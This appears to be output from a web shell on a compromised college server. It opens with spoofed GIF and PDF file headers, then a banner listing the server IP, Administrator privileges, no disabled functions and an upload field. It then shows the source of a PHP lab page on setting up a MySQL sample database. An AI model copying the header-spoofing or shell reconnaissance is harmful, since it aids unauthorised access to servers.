GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1602/Labs/Lab03/ |
Upload File : |
<? // JimMartinson/CST1602/Labs/Lab02/Lab02.phpinc $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. require('application.phpinc'); require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; #$disabled = ' disabled'; // Comment this line to enable lab. ?> <style type="text/css">b {white-space:nowrap;}</style> <fieldset><legend>Description</legend> The purpose of this lab is to setup the classicmodels database. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> <ol> <li> Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab. </li> <li> Download the <a href="../../Resources/mysqlsampledatabase.sql">classicmodels sql file (mysqlsampledatabase.sql)</a> and save it in your <?=$classNumber?> folder. </li> <li> Create the classicmodels database. <ol> <li>Run MySQL Workbench and connect to the MySQL server as root.</li> <li>Open the <b>mysqlsampledatabase.sql</b> file [File/Open SLQ Script...].</li> <li>Execute the mysqlsampledatabase.sql script [Query/Execute (All or Selection) or <img src="images/execute.png" alt="Execute">].</li> <li>Refresh <img src="images/refresh.png"> the schema list.</li> <li>Expand the classicmodels database.</li> <li>Expand the classicmodels tables.</li> <li>Take a screenshot of the MySQL Workbench window showing the classicmodels database and save it as <b class="copyText"><?=$saveFilename?>-Database.png</b> in your <b><?=$evaluationName?></b> folder. <span class="note">Ensure the classicmodels database tables are visible in your screenshot.</span> <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/Lab02-Database.png" width="1000" height="531" alt="Workbench and classicmodels database example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <li> Using MySQL Workbench, create a <b class="copyText">classicmodels</b> user with password <b class="copyText">classicmodels</b> and grant all privileges to the classicmodels database except <b>GRANT</b>. <br>Run the query <code class="copyText">SHOW GRANTS for classicmodels;</code> and expand the Result Grid to the right so the entire result is visible. <br>Take a screenshot of the MySQL Workbench window showing query results and save it as <b class="copyText"><?=$saveFilename?>-User.png</b> in your <b><?=$evaluationName?></b> folder. <span class="note">Ensure the grants are fully visible in your screenshot.</span> <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/Lab02-User.png" width="1000" height="531" alt="Workbench and classicmodels user example screenshot"/><br> <? showEnd (); ?> </li> <li>Turn in your assignment: <ol type="a"> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<br> <ol id="ol_win_4"> <li><b><?=$saveFilename?>-Database.png</b>.</li> <li><b><?=$saveFilename?>-User.png</b></li> </ol> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li> <li>Then attach this file to the assignment in D2L for grading.</li> </li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require('JimMartinson/ContactInformation.phpinc'); require('common/pageFooter.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>